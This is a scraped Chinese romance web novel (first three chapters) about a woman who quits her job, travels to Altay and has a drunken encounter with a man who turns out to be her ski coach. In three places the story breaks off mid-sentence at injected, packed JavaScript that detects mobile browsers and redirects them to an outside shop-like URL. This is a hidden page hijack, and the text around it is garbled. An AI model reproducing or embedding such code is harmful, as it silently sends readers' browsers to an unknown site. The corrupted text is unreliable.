《暴风雪会知道[熟男熟女]》 1. 阿勒泰 被牛马工作折磨的第1460天,黄杏子毅然决定辞职。 这个计划在她脑中成形其实已经有一段时间了,在这个自媒体横行发展的时代,或许创业是一次豪赌,也给了她无限可能,她想去试一试。 人到底在纠结什么呢,就连她自己都想不明白,克制、犹豫,日复一日的温水煮青蛙,这样的人生究竟有什么意义。 这样的困惑把黄杏子从混沌的边缘拉到上帝的视角,沉寂的心底猛地有清泉入水一般的敲击声在响,久违的冲动令她兴奋,全身细胞蓄势待发。 离职手续还没走完她便连夜订完去新疆阿勒泰的机票,离职证明办下来的第二天,黄杏子就出现在了机场。 出租屋在一夜之间被屋子的女主人打了鸡血似的打扫得干净整洁,随着一声清脆的关门声,似乎在昭示着连着银杏叶片的那一根牵连啪嗒一下断裂。 这样头昏脑热的举动曾经只发生在大学的时候,一个寝室关系很好的几个朋友集体逃课,先斩后奏买完车票,一夜之间出现在一个陌生的城市。 如今她居然敢抛下一切裸辞去干一件听起来十分疯狂的事,这才是她自己嘛,黄杏子得意地想。 现在是冬季,而且是阿勒泰的冬季,零下二三十度的天气天气飘着雪丝,出了机场一脚踩进雪地里,寒风携冰雪一并灌进领口。 出门忘了带围巾,黄杏子拉紧了领口,站到能避风的地铁站口看着手机上滴滴司机的定位慢慢接近,默念了一遍“新疆阿勒泰”。 指尖缩小软件上的中国地图,定位指示标挨着红色边境线,她狠狠吸了一口空气,直到鼻腔被刺骨的寒气冻得僵硬,才真正感受到实感。 “嘀嘀——”不知什么时候周围等车的人只剩下她一个,见她一直站着没反应,滴滴司机按了两下喇叭。 黄杏子看了一路的风景,即便窗外黑得几乎只能看到一个模糊的轮廓,她依旧能辨别出这是黄杨,那是沙漠,还有风的气息。 在携程上随便找了一家口碑还可以的青旅,一口气订了一个礼拜的房间,办完入住青旅老板带着她熟悉了一圈公共区域后,黄杏子的目光被不远处露台方向的声音吸引。 年轻的男男女女似乎是在玩桌游,中间有个小舞台,有驻唱歌手边喝酒边唱着民谣,欢笑声正是从那儿传来的。 这样的环境反而让黄杏子放松下来,在上班前,热闹的环境简直是她的老巢,例如酒吧,又例如青旅。在自助饮水机边接了杯热水,她没急着回房,倚着墙壁听了会儿歌,舟车劳顿的疲倦感上来了,才循着记忆往房间走。 外头黑漆漆的,这个地段还算是人来人往的繁华地带,由于是淡季,不少店铺提早关门,从南方带来的温度习惯还没完全适应,她也不再想出门逛逛。 她订的是四人间,黄杏子拿着房卡找到自己的柜子把东西往里一丢,给手机充上电,困意汹涌,倒头没多久就睡着了。 第二天吃了一顿中饭,黄杏子在青旅里躺了一天,一个房间的室友几乎轮换了一批,晚上肚子开始唱衰了,她才慢吞吞起身去拿点好的外卖。 青旅里暖气开得足,女人踩着人字拖在吧台点了杯酒,上身穿着姜黄色吊带,下面套了条牛仔裤,托着下巴倚在桌边,脚尖点地打着节拍。 台上驻唱的歌手没在唱歌,就着气氛在讲自己北漂时候的经历。 旁边的桌子依旧有人凑了一桌在玩桌游,见她望过来,距离她最近的女孩子扭过头友好地问她要不要一起来。 黄杏子没拒绝,拉了把椅子过去,从善如流地坐到她旁边的位置。 几乎所有人都对这个陌生的女人投以友好的目光,因为他们互相都不认识,都是群里一问,自发组织起来的。 五颜六色的牌接连落在桌面,在她面前堆成一小摞,黄杏子拿起来理了理牌,瞥了一眼,没见过,不知道是什么新出的桌游卡牌。 她凝神听了会儿游戏规则,记了个大概,她上学的时候脑子就转得快,玩儿各种智力小游戏不在话下,这么找到了点儿乐趣,还算得心应手。 尝试了一轮过后,气氛很快在游戏的火热进展推动下调动起来,牌桌上欢笑声不断,甚至有人站了起来,就为了要一决高下。 轮到黄杏子时,她把最后一张牌甩在桌子上,摊了摊手,表示自己先走一步了,你们继续。 站着思索的大块头还在算着手里的牌,一秒傻眼,“你这小姑娘挺厉害啊,来来来,我跟你换个位置,准是这位置风水不好。” 左边脾气火爆的翻了个白眼,看不惯,“你别理他,他脑子里都是玄学。” “没事。”黄杏子凑到她耳边,“看我用科学打败他。” 大块头把手上的牌往里一推,“别愣着呀,再来一局。” 十分钟后,winner依旧不是他,然而也并不是黄杏子。 - 这时,不知道是谁放在桌上的手机恰时响起,黄杏子拿起来示意自己去接个电话,起身到走廊点了接听键,是和她关系要好的同事。 她一打过来,黄杏子就知道她想说什么,干脆率先出声:“喂?你下班了?” 电话对面的人差点儿一口气没上来,“多损呐您!” “改改改改,就知道让人改,改了三五版了,最后跟我说要第一版,我们搞设计的是牛马吗?就这么好欺负。” 同事先是叽里呱啦骂了一通要求改得面目全非爹妈不认的甲方,气撒完了,深深地叹了一口气,“也难怪你要辞职,这样的日子我真的过够了。” 对面静静地听着没出声,她喃喃道:“真不回来了?” 女人声音懒洋洋的,透过听筒隐约能听到音乐声,看起来过得挺滋润,“能有假的?这狗屁的牛马日子老娘过够了,让他自己去跟甲方交代吧。” “你快回来陪我!说好的患难友情,你咋还临阵逃脱,还是不是朋友了?” “行行好,咱俩同事。”黄杏子哼笑,屁的说好,“你来,我接待你。” 同事:“……我才不来,那吸血鬼一家子还等着我养呢。” 这个话题并不值得久聊,黄杏子同样明白,同事开了车门坐进车里,嘶嘶地吸气,“这天真冷啊,你冬天去新疆干嘛?除了雪没别的,有什么能玩的。” 黄杏子低着头沿着墙角线晃到尽头,抬眼瞥见毛毡板上用图钉固定住的留言和照片,突然笑了一下,“你管我。” 同事:“不是,真辞职啊,你糊涂啊,升职审批都快下来了,你到底想干嘛?” 走廊的另一边玻璃门被打开,一个黑色的人影立在灯下,挡住了大半的光亮,看样子也是来打电话的。 黄杏子没避着,“去找一样东西。” 同事有些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16816857|190930||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 迷惑,人生地不熟的,她能有什么东西在那儿,“什么玩意儿?” 黄杏子扬了扬下巴,开门女王一样昂首挺胸越过那人,“找回我自己。” - 她这个电话打得有点久,回到位置上,他们另开了一个游戏,是最近网络上很火的一个多人挑战,叫“我有你没有”。 一轮游戏玩下来,黄杏子惨败。 惩罚二选一,喝下桌上这杯黑暗料理,或者去要吧台边坐着的那个男人的微信。 比起让肠胃遭罪,黄杏子果断拿起手机朝不远处吧台边走去,那人穿了一身藏蓝色的短袖,肤色很白,长腿支着地面闲散地划着手机。 凑近时还能闻到他身上干净的气息,说不清是什么味道,只觉得好闻。 黄杏子坐到他旁边的高脚凳上,晃了晃手机,单刀直入,“嗨,能加个微信吗?帅哥。” 那一桌子人隔空看着,她不能直白地说明这个举动的原委,指尖在手机上轻点了下,露出“拜托”的表情包。 其实她心里也没底,毕竟这也是她第一次干这种事情,不太熟练。 他的手机顶端弹出北京冬奥会的新闻讯息,冷白色的手指丝毫没有在上面停留,便划走。 黄杏子有感觉他的目光瞥过来看了她一眼,嘴角咧得更开了点儿,指骨弯曲撑着脸笑意盈盈。 她素着一张脸,穿得随意,本就是那种耐看的氛围感长相,倒是有几分邻家妹妹的感觉。 男人犹豫了一下,许是不想为难她,默不作声点开微信二维码,攥着手机的手微微松开,手机滑到了她面前。 她感激地眨眨眼睛,“谢了,我不会打扰您的,祝您生活愉快。” 黄杏子成功要到了微信,一条腿支撑着利落地下了高脚凳,冲着对桌亮了下页面,坐回到原位,“要到了。” “加了才算。” “加了。”退出页面前黄杏子随意扫了眼他的ID,微信昵称叫“不死鸟”,头像是暗调下的雪山。 黄杏子回想起两人不小心对视时看到的那几秒,冷嗤一声,还蛮有情调。 - 电视上播放着冬奥会开幕式的直播,驻唱歌手提早下班了,剩下来的人有三分之一的人都在看。 有人嗑着瓜子唠嗑,“你还记不记得,平昌冬奥会自由式拿了金牌的那个运动员24岁就因为受伤退役了,叫什么忱来着我忘了,这么年轻,多少有点可惜了。” “当时我住在那城郊的出租屋里,那会儿我还在南京打工,从头追了他一个赛季,燃得我差点儿一个激动没把辞呈甩老板脸上去。”他哈哈大笑。 “今年不知道能不能再出一个黑马。” “伤病嘛难免,那个谁不是今年也退出赛事了,蝉联三年的老将,36岁了。” 黄杏子不怎么关注体育赛事,但是今年得益于举办地是在首都,国内的关注度比以往增加了好几倍,她就是不主动关注也收到了不少推送。 18年平昌冬奥会举办的时候她22岁,刚过了实习期开始她的工作生涯,却没想到怀着一点儿现实主义的理想,被打了个七零八落。 这样想着,黄杏子调出自己的微信主页,把昵称改成了“银杏叶(裸辞版)”,头像也从原来的已辞职牛马上班图,变成了自己的生活照。换完之后,整个人如同新生了一般,心情舒畅。 2. 阿勒泰 重新加入到桌游大军中,不知又过了多久,黄杏子彻底玩嗨了,竟然也学起了拼酒,豪气地把桌上两杯酒混到一起,一口饮下,一桌子的人甘拜下风。 玩到最后,爽是真的爽了,人也是彻底迷糊了。 “没想到你这么猛啊。”散场时,旁边的女生扶了下她的手臂生怕她摔了,“要我扶你回房间吗?” 黄杏子摆了摆手,漆黑明亮的眼底看着挺清明,“不用不用。” 女生回去了,黄杏子从口袋里掏了房卡出来,循着记忆往房间的方向走。找到了,第二个路口最后一个房间。 房卡往感应器上一贴,没反应,然而轻轻一推就开了。 大脑分泌多巴胺的那股亢奋劲儿一过,疲乏感叠着醉酒的飘然一股脑儿往头顶涌,黄杏子踩着云朵扑向柔软的大床,伸手抱住床上的玩偶使劲亲了亲,全然忽略了“玩偶”惊措的表情。 手上的触感有些硬邦邦的,她不信邪地用力揉了揉,试图把它揉得更软一些,手心被愈发滚烫的温度覆盖,有什么东西攥住了她的手腕,黄杏子终于察觉到不对劲了。 不是玩偶,那是什么? 老天爷终于良心开窍,梦里给她送了个180腹肌男大吗?黄杏子激动得快要哭了。 官方发配的男人黄杏子用得心安理得,想来有些惭愧,母单二十六年连连男孩子的手都没牵过,这可不得狠狠享受一下。 跌落在床边的手机亮着,停留在和这个刚加上没多久的奇怪女人的聊天页面上,他的通过消息下面就是她三分钟前发的消息。 银杏叶(裸辞版)【诡秘!过来接我】 蔺忱上半身的衣服已经被她扯掉一半,城门失守,浑身上下火烧火燎,说好的不会打扰呢。 - 第二天早上黄杏子睁开眼,车碾过一般的酸痛感知第一时间进入大脑,很累,一动都不想动,做春/梦的后遗症果然不容小觑。 她颌上眼皮,尝试动了动手臂想去摸床头的手机,手指摸到一处柔软,再往下,温热的触感更加明显,黄杏子彻底惊醒了,旁边居然躺着一个陌生的男人。 窗帘的缝隙钻入一丝光亮,房间也不是她订的四人间,很明显是最贵的单人间,房间里的东西不算少,看样子是长住租客。 眼下这种情况,发生了什么毋庸置疑。被黄杏子这样一叨扰,蔺忱也醒了。 他像是没看到黄杏子像躲洪水猛兽一样突然的动作,声音淡淡的,略微带着晨醒的沙哑,手臂伸过来,“你手机。” “谢谢。”黄杏子费力地抬起手臂,点开看了眼时间,八点十七。 她在将军山滑雪场报了10节课,课程十点开始,眼下也不能再继续睡一会儿,索性和他摊开来说。 “那个……真的不好意思,我昨晚喝醉了,你要是介意需要什么赔偿可以微信上联系我,能力范围之内的我会做出补偿。” 乌龙地把人睡了,他都没怎么说过话,黄杏子也是第一次遇到这种事情,她现在头脑很清醒,“你看这样,行吗?” “你要是真的介意,就当被狗咬了吧。”黄杏子真诚道,“财不要,贱命一条,你看怎么办吧。” 蔺忱“啧”了一声,这女人怎么话这么多,他清隽的眉头挑了挑,指尖不经意间摩挲了下颈间的痕迹,“以后没事练练酒量,别又祸害了哪个良家少男。” “……”还良家少男,她还黄花大闺女呢。 他这算是答应了,虽然嘴毒了点儿,但这事儿黄杏子自知理亏,点点头虚心接受。 她捂着掖在胸前的被子,坐起身拿过床尾的衣服,衣物上残留的酒气不好闻,她便屏着呼吸三两下在被窝里套上。 她讪讪笑着,“我一会儿还有事,就先走了啊。” 蔺忱“嗯”了一声,看着她艰难下床,颤着腿赤脚踩在地上,找到拖鞋后一瘸一拐地开门出去,直至房门重新关上他才移开目光。 - 回房间拿着换洗的衣物去公共卫浴洗了个澡,吃过早饭,前台那边发消息过来说给她上课的教练家里有急事今天来不了,她的课程由另一位教练代上。 昨晚下了一整夜的大雪,外面街道上落了蓬松的新雪,停在路边的车子被雪埋了底盘,老板正举着铲子扫雪。 黄杏子推开门,门外雪很深,几乎能埋过她的小腿,雪深的地方她只能一步一步挤着雪被往前,走过的路留下一个个大洞。 昨天下午租车行的师傅就把她付了定金的车开过来停好了,找着了车牌号,她一看,车轱辘果然被雪埋得严严实实。 黄杏子找了把扫帚过来给自己留了个开车门的余地,又扫去挡风玻璃上的雪。 人车对峙半分钟后,车子忽然抖了一下,下一秒像漏了洞的气球,宣告启动失败。 黄杏子:…… 住同一个青旅的驴友好心过来帮她看了一下,说应该是哪个部位受潮了,让她打电话给修车行等拖车运过去修。 自己的租的车子指望不上,她只能回去在活动群里问问有没有人可以顺路捎她一程。 无精打采地回到青旅的大厅,消息发出去没多久放在兜里的手机振了振,老板来了消息,说他知道谁可以顺路带她一程。 看到老板身旁站着的人,她嘴里含着的水差点儿噎进喉管,黄杏子悻悻地打了招呼,前不久才睡到一起过,这是孽缘吧又碰到一起了。 他精神看着挺不错,全然没有熬大夜的疲惫,雪光透过窗户把室内映射得透亮极了,他们俩聊了几句的工夫,黄杏子抬眼上上下下把他打量了一遍。 蔺忱穿了一身紫色雪服,手里拎着一个10L左右的运动背包,一副正要出门的架势,看着挺清瘦一个人,要不是她昨晚见过她就真信了。 老板和他是认识的朋友,故而语气熟稔帮她搭线,“蔺忱,你今天几点的课?” 蔺忱回答:“十点。” 老板两手一拍,旋即敲定,“那正好啊,这姑娘车坏了,你俩反正要去同一个地方,正好可以顺路送她一程。你那里没什么问题吧。” “没。” 老板扭过头笑着对黄杏子说:“新疆就是这点不好,雪太多了一个不留意早上起来就被雪埋了,不是蓄电池短路就是点火系统受潮,反正故障千奇百怪每天都有。” “镇上只有一家修车厂,不然就是十几公里以外了,你现在送过去可能要等上几天才能修好。” “镇上是不是有专线大巴什么的?”黄杏子记得她来的时候有路过一个停满旅游大巴的停车场,站台墙上贴了发车时间表。 老板闻言点头,“有是有,我记得三十分钟一班来着,就是麻烦点儿。” 不一会儿他有事要去忙,蔺忱也抬腿往外面走,扭头瞥发呆的女人一眼,手在她眼前来回摆了摆示意她跟上,“走吧,我车停在外面。” 黄杏子亦步亦趋跟在他后头,蔺忱动作熟练地把装在车子屁股后面的雪铲拿下来,随后打开后备箱里扔了另一把小一点儿的过来。 黄杏子接过来,有些诧异,“你们车上都备着铲子啊?” “这难道不是常识吗?”蔺忱弓着背一下一下铲着轮子旁边卡着的积雪,有些不解。 “车子陷进雪里的时候像这样先把积雪清掉一点就好了,前方路面,底盘,轮胎后方。车上还可以备着防滑沙,倒在轮胎前后。” “哦。” 黄杏子学着他的样子哼哧哼哧铲着雪,似乎是找到了小时候的玩雪的乐趣,拿着小铲子垂头铲了半天气喘吁吁,脚下一个没踩稳,往旁边厚厚的积雪里摔去。 她摔得太突然,蔺忱没来得及捞住她,黄杏子吃了一嘴雪。新积起来的雪被松松软软的,身上不疼,她站起来抖掉衣服上的雪渣子,突然弯起唇开心地笑了。 蔺忱狐疑地看了她一眼,别是摔到脑子傻了,“没事吧?” 黄杏子爬起来没停,依旧卖力地重复着一样的动作,“没事,不疼。” 车子两边的雪清理得差不多了,她揉了揉二次受苦的腰,终于听到男人清冽的声音如天籁一般响起,“差不多了,上车。” 在坐前座和后座这个问题上,就和实地考察时搭乘甲方大老板的车一样,一贯是有些让人为难的。 她的手一搭上后面的车门把手,男人凉凉的眼神立马飘了过来,吐出来的话语依旧阴阳怪气,“我不给人当司机。” 但她又不受制于他,干嘛要委曲求全,黄杏子微笑,“那我来当司机?” “还有,我解释一下,不坐前面的原因是谁知道你有没有女朋友。” 人在一个完全陌生的地方容易做出一些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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黄杏子知道这是在拐弯抹角嘲讽她,也跟着笑,“世界那么大,何其不有?” 她话锋一转,随口问道:“你也要去将军山滑雪?” “算是。”蔺忱纠正,“我在那儿当滑雪教练。” 黄杏子“哦”了一声,滑雪教练啊,难怪这一身打扮看着还挺专业的,他今天来了,那能说明带她的教练不是他,还好还好。 蔺忱似乎是话瘾上来了,一路上介绍了不少沿途的地形地貌,从沙漠到丘陵再讲到地理课本里的三山夹两盆。 尤其是最后聊着聊着谈起滑雪这项运动,能称得上眉飞色舞,那双有些寡淡的眸子仿佛一下子浸润了雪光,明亮了起来。 然而这个话题在涉及到他自己后,蔺忱兴致明显淡了下来,悄无声息地避开不谈。 两个人一路上聊了不少奇闻异事,让黄杏子有种错觉,他们真的像是朋友一样,在珍惜这趟露水缘分中短暂的旅程。 - 滑雪场占地面积很大,两人在游客服务中心分道扬镳,黄杏子先在自动售票机上买了雪票,再到前台咨询自己在网上报名的10天滑雪私教课。 工作人员和她确认了个人信息,退回了身份证,喊了教练过来,“我们之前给你发过消息,给你上课的唐教练今天有事请假了,这节课由蔺教练代课。” “嗯对。”黄杏子点头确认。 “闸机刷卡进入,租雪具的地方在下扶梯后右拐,储存柜的钥匙也在那边领,然后餐饮、住宿什么的里面都有,还有什么不明白的可以和你的教练说。” 黄杏子说好,察觉有个高大的身影走来站立在她身侧,于是侧过头抬眸看过去。 笔挺的紫色雪服,肩膀宽阔,他胸口的教练名牌上写着他的名字——蔺忱,乍一眼这个名字对于她来说有些陌生,只是这身打扮实在是太过眼熟,让她不得不怀疑。 蔺忱,蔺教练,对上了。 这个姓挺少见的,在青旅老板口中得知他的名字时,黄杏子就迫不得已加深了印象,都不用再三迟疑,怎么可能在短短两天时间内遇上两个同名同姓的人。 如此,她心如死灰地挪动着视线往上,撞入男人似笑非笑的桃花眸。 3. 阿勒泰 这人不知道是不是腿太长没地方放,一条腿找了个地方踩着,挑了挑眉,“怎么,不介绍一下自己?” “黄杏子,黄色的黄,银杏的杏。”黄杏子微笑着伸出一只手,“您好,蔺教练。” “你好,我叫蔺忱,蔺相如的蔺,热忱的忱。”蔺忱回握,手心细腻的皮肤正面相交,对方毫无留恋地抽走。 黄杏子率先抬腿朝入口的方向走,“走啦,蔺教练。” 她学的是双板,单板看起来更酷她也想学,但想起来当初和姨母家的哥哥学滑板的时候那个眼睛会了身体不会的窘样,她想想还是先从好上手的学起。 穿好装备抱着雪板走出来,这一路走得艰难,小腿接连脚踝被紧紧束缚住,每一步都仿佛是邯郸学步。黄杏子别扭地走了一路,终于在出口处看到了蔺忱。 他穿着标志教练身份的马甲,勾了勾手,接过她抱在胸口的雪板,示范雪板的拿法,“两块雪板背面突起的搭扣叠在一起,这样就牢了。” 黄杏子学着他的样子拎起两块板,努力控制着两条腿,跟在他后面进了雪场,一出室内豁然开朗,雪后天气放晴了,比她预想中的要好。 滑雪高峰期初级道上都是人,蔺忱一路和认识的人打招呼,豪爽地拍肩表示问候。 “蔺忱,你今天早上就一节课吧,结束之后有空吗我们比比?”有人看见他笑着走过去,抛出邀请。 “还比呢。”蔺忱也笑,“成啊,那就比。” 黄杏子正听着他们讲话,隐约听见有人小声在后面嘻嘻哈哈,“就一不要命的疯子这么稀罕,到时候把自己赔进去可就老实了,这呆子真是疯魔了,好说歹说不听。” 什么意思?疯子说的是蔺忱吗?她正发着呆,手腕被他们口中谈论的对象拉住往前拽了一下,蔺忱扭过头示意她跟上,“走了。” 蔺忱找了块儿人比较少的空地,让她把雪板一左一右放在脚边两侧,偏过头问她,“以前学过没有?” “没。”以前公司团建的时候倒是有提议组织去滑雪的,然而这个提议几乎被所有人第一时间排除,上班已经够累了,没有人愿意团建还要运动。 蔺忱“嗯”了声,从穿戴雪板开始教起,他教得仔细,尝试了几下,黄杏子很快掌握了基本动作要领。 一上雪道,她就怂了,在魔毯上从侧面望过去挺平坦一个坡,站在顶上俯视就好像万丈深渊,随时张开着骇人的大口,腿开始打颤,又开始酸了。 穿戴好雪板,黄杏子脑中弹幕过海一般已经划过了八百种摔法,但她向来就是不愿服输的女人,特别还是在暧昧中的一夜情对象面前。 蔺忱越过她面对面站在她前面,伸手扶住她,“现在人少,一会儿人多了就不好滑了。慢慢挪过来,记得我刚才教给你的动作,动作做到位了就不会摔。” “我的生命安全就交给你了啊。”想是这么想,她偏要把另一个人拉着,似乎这样就不那么害怕了。 记忆力活力满满的女孩儿一张脸紧紧皱着,细小的绒毛根根炸起,蔺忱忍不住好笑,“保管在我这儿呢,别怕。” “行了没?还没做好心理准备啊。”他反手轻轻拍了拍她的手背。 “哦。”黄杏子深吸了一口气,缓缓吐出来,慢吞吞往斜坡边缘挪,算了,摔就摔吧,反正她还能拉着人垫背。 “你手松开我!”她抓得蛮用力的,指甲不小心划到蔺忱,他哇哇大叫起来。 黄杏子嘴唇抿成一条线,不说话,也不看他。 “行了。”蔺忱语气缓了些,“我护着你,摔不死。” 黄杏子不理他,在心里默念放松放松,万事开头难,她这么聪明,无论什么事都能做好才是。 她双脚呈微微的内八字岔开,憋着一口气弓着腰背向下滑了一点,脚下长长的雪板开始慢慢滑动,速度还算平稳,黄杏子悬在半空中的心终于放下来了一点儿。 她精神绷着不敢放松一秒,蔺忱就在前面边看着边鼓励她,“眼睛往前看。” 黄杏子这时候特别听他的话,他说什么就做什么,蔺忱刚松懈半步想让她自己滑,黄杏子脚步就乱了,胸口的衣服随着一股往回拉的大力怼到他眼前。 蔺忱被她抓领子的动作吓了一跳,两张脸凑得很近差点儿贴到一起,他眼疾手快抵住黄杏子的雪板,抓住她的胳膊。 摈除脑海里女人水蜜桃一般柔软的唇和惊慌的眼眸,蔺忱让她扶着自己的手臂站稳,“怎么了?” 黄杏子整个人的重量压在他手臂上,惊魂未定,“吓死我了,旁边有人。” 蔺忱安慰:“放松,别太紧张,旁边的人不会过来的。” 旁边的一男一女大概是没请教练打算自己摸索的,滑得歪七扭八,不一会儿就依次冲下去了。 两个大隐患走了之后,黄杏子便心无旁骛继续慢悠悠滑滑停停,重心放在前面,不一会儿终于抵达了山脚。 头盔系得有些松,黄杏子两指一摁解开搭扣拿下来调整长度,和头皮贴着的头发被薄汗浸湿,回去正好洗头。 蔺忱手放在她头顶揉了揉,随即抽回来夸她有潜力,“这不是滑挺好。” 黄杏子不太习惯别人摸她的头,下意识缩回去,“诶,你别碰我头发!” 她怎么这么会破坏气氛呢,蔺忱唇角的笑容微微凝固住,弯下腰随手捞了一捧雪从空中撒下,抿抿唇说正好趁热打铁,再来一次。 下午的一个小时课程,黄杏子终于能够一个人顺利滑到底,虽然还不熟练,下去还控制不住速度摔了一跤,但已经有很大进步了。 “起来,别赖在地上,这里太危险了。”蔺忱站到离雪道近的一侧,朝她伸手。 黄杏子还沉浸在一股巨大的懵然中,看见他伸手下意识把手搭上去,借着力站了起来,胸腔里心脏跳动的速度很快,全身细胞都昭示着主人的兴奋,实不相瞒,滑雪真的是一个容易上瘾的运动啊。 黄杏子没忘了此行的终极目的,她扯掉一只手套,拉开雪服的拉链拿出手机,伸长手臂对着自己的脸比了一下,自拍了几张。 站在魔毯上,她拿手机戳了戳前面男人的腰,“你可以帮我拍一点视频吗?我想录一点作vlog素材。” “学会了点儿皮毛,就要开始装逼了啊?”蔺忱笑。 黄杏子有时候真的觉得这男人的嘴很惹人嫌,“你这张嘴不说话是不是能把自己憋死,你不拍我去找别人。” “别,你可以不相信我,但你得相信我的技术。”她还没反应过来,身后一道阴影落下,手机已经到了蔺忱手里,“来吧。” 为了视频的效果达到最佳,黄杏子一鼓作气滑了三次,还是没收敛速度的那种,蔺忱为了效果更好从她身旁掠过滑到前面去,她却能准确捕捉到镜头,途中还有各种表情管理,蔺忱看得震惊,简直了,女人必出片的决心果然不容小觑。 连着三次滑下来,额角沁了薄汗,黄杏子踢掉雪板一屁股坐在地上,拿过手机,“怎么样,还不错吧。” 蔺忱在她身边坐下,随手递了张纸巾过去,“擦擦汗。” “想不到你还挺会玩运镜。”今天最主要的素材有了着落,她晚上回去就开始把剪辑技术学起来,黄杏子毫不吝啬地表达她的满意。 “还想拍什么?”蔺忱看着她埋着头把几个视频都拉着进度条扫过一遍,想着让她一次性把想拍的拍完,过过瘾。 “还有一个滋雪墙的。”黄杏子点开收藏的视频给他过了一遍眼,被蔺晨嫌弃说后面这个人一看就是不太会的。 她把进度条拉到最前面又看了一遍,当初看的时候就觉得这人的动作得不太对劲,感情问题是出在这里了。 听完蔺忱的动作分析,她晃了晃头把手机塞他怀里,笑嘻嘻地说那好啊,看你的了,专业的。 黄杏子的课程结束,蔺忱还得无缝衔接下一个学员,黄杏子闻言和他招招手算是短暂告别,她玩上瘾了,还想再滑几次再走。 见她气喘吁吁还在鸭子一样一步一步往上走,蔺忱没忍住提醒她,“别太贪玩,注意安全,等我下课了过来找你。”她还要搭蔺忱的车子回去。 黄杏子没回头,腾出一只手在身后摆了摆,好像在说知道了知道了,你快走吧。 - 劳逸结合她还是懂的,实际上黄杏子再滑了没一会儿就出来了,因为她实在是没那个体力了。 换完衣服还了雪具,浑身上下终于得了个轻松,滑雪消耗得很快,黄杏子的肚子早就饥肠辘辘了,晃到美食小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16816859|190930||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 镇买了几个烤包子,排队的时候听到旅游团唠嗑的大妈说高级道有人在比赛,问小姐妹要不要去看。 新疆烤包子皮脆鲜香,刚出锅还是热乎乎的,香得人迷糊,黄杏子嘴里塞得满满的,用力嚼着,这时口袋里的手机振了下,是蔺忱的消息。 不死鸟【滑累了吗?要不要过来看我比赛】 黄杏子爱看热闹,果断拎上剩余的烤包子走问他在哪儿,过了一会儿,蔺忱发来路线图。 看热闹的人围观的位置在雪场外面,爬到最顶端的观景平台能俯视整条高级雪道,蔺忱衣服颜色显眼,个子又高,黄杏子一眼就看到了紫色雪服的男人。 随着一声哨声,比赛开始了,两道身影“嗖”地一下冲了出去,展开角逐。 她旁边站着一个懂行的大爷,充当起了临时的比赛解说主播,大爷嗓门大,感情十分充沛,引得路过的行人也跟着围过来不少。 黄杏子也看过体育竞赛的时候那种主播解说的视频,原本抱的是凑热闹的心态,听着听着不自觉站直了身子趴在栏杆上,也跟着燃了起来,屏息敛声专注比赛的进程。 她不得不承认,这哥们儿认真起来是真帅,跟头豹子一样,上蹿下跳还会翻跟头,不自觉地便举起手机录了起来,在心里默默给蔺忱摇旗呐喊。 黄杏子感觉他自从回到了雪场,整个人都鲜活了起来,以前也挺有活人气息,就是身上还隐匿着一股说不出来的她所熟悉的丧,或者说这里就是他的主场。 “超过去了!超过去了!”比赛进行到白热化,身旁大爷激动起来,嗓子快喊冒烟了,已经有人开始赌最后到底是谁会赢。 黄杏子心想,蔺忱你可千万不能给我丢脸啊,她可还押了一块硬币呢。 后半程蔺忱势头很猛,他还能有闲心去捞一把树枝上挂着的冰柱,另外那位选手卯足了劲儿加速赶超,然而却因为体力跟不上乱了心境。按照黄杏子的预估大局已定,她便放下心来。 她刚松下一口气远在杭城的表姐打电话过来,黄杏子接起,“喂?表姐。” 表姐温柔的声音在话筒中响起,“杏子,之前太忙了没看到你发的消息,这个决定好突然啊,怎么突然想要辞职了?” “之前就有这个想法,只不过现在想通了一点。” “那你辞职了以后什么打算?要不要姐姐资助你?” “不用的姐,我还有存款呢,总不至于勤勤恳恳当牛做马这么多年还是个穷光蛋吧,你说这像不像话,那我还活个什么劲儿!”黄杏子开玩笑。 “之后自己开个账号,自己创业当老板,现在自媒体不是很风靡吗?等我摸索摸索,说不定你以后还能在红薯上刷到我呢。” 表姐哈哈笑着,“好啊,你有打算就好。” 她又问:“我看你朋友圈,现在是在新疆?” “新疆阿勒泰,我今天在雪场滑雪。”黄杏子抠着栏杆上凝固住的积雪,说,“报了一个体验课。” “冷不冷啊那边?” “还好,不怎么冷。” “我侄女怎么样了?小糖豆儿呢,小糖豆儿——” 小糖豆就在妈妈腿上趴着,表姐和她说姨姨在叫你呢,小女孩虽然说不出话但是听得懂,咿咿呀呀抱着手机和黄杏子打招呼。 小糖豆今年一岁半多一点儿,由于是早产儿身体太过瘦弱经常生病,从她出生起表姐就寸步不离地陪在身边,当起了全职妈妈。在表姐的婚后生活里,丈夫和孩子已经成了她生命中不可剥夺的一部分。 黄杏子的父母在她很小的时候就过世了,她被接到叔叔阿姨家长大,和表姐无话不谈,关系很是亲近,黄杏子尊重她的选择,但还是忍不住开口劝她去找个工作。 表姐忍不住嗔她,“我又不是什么封建迂腐的传统女性,上周我去面试了产后营养师。” 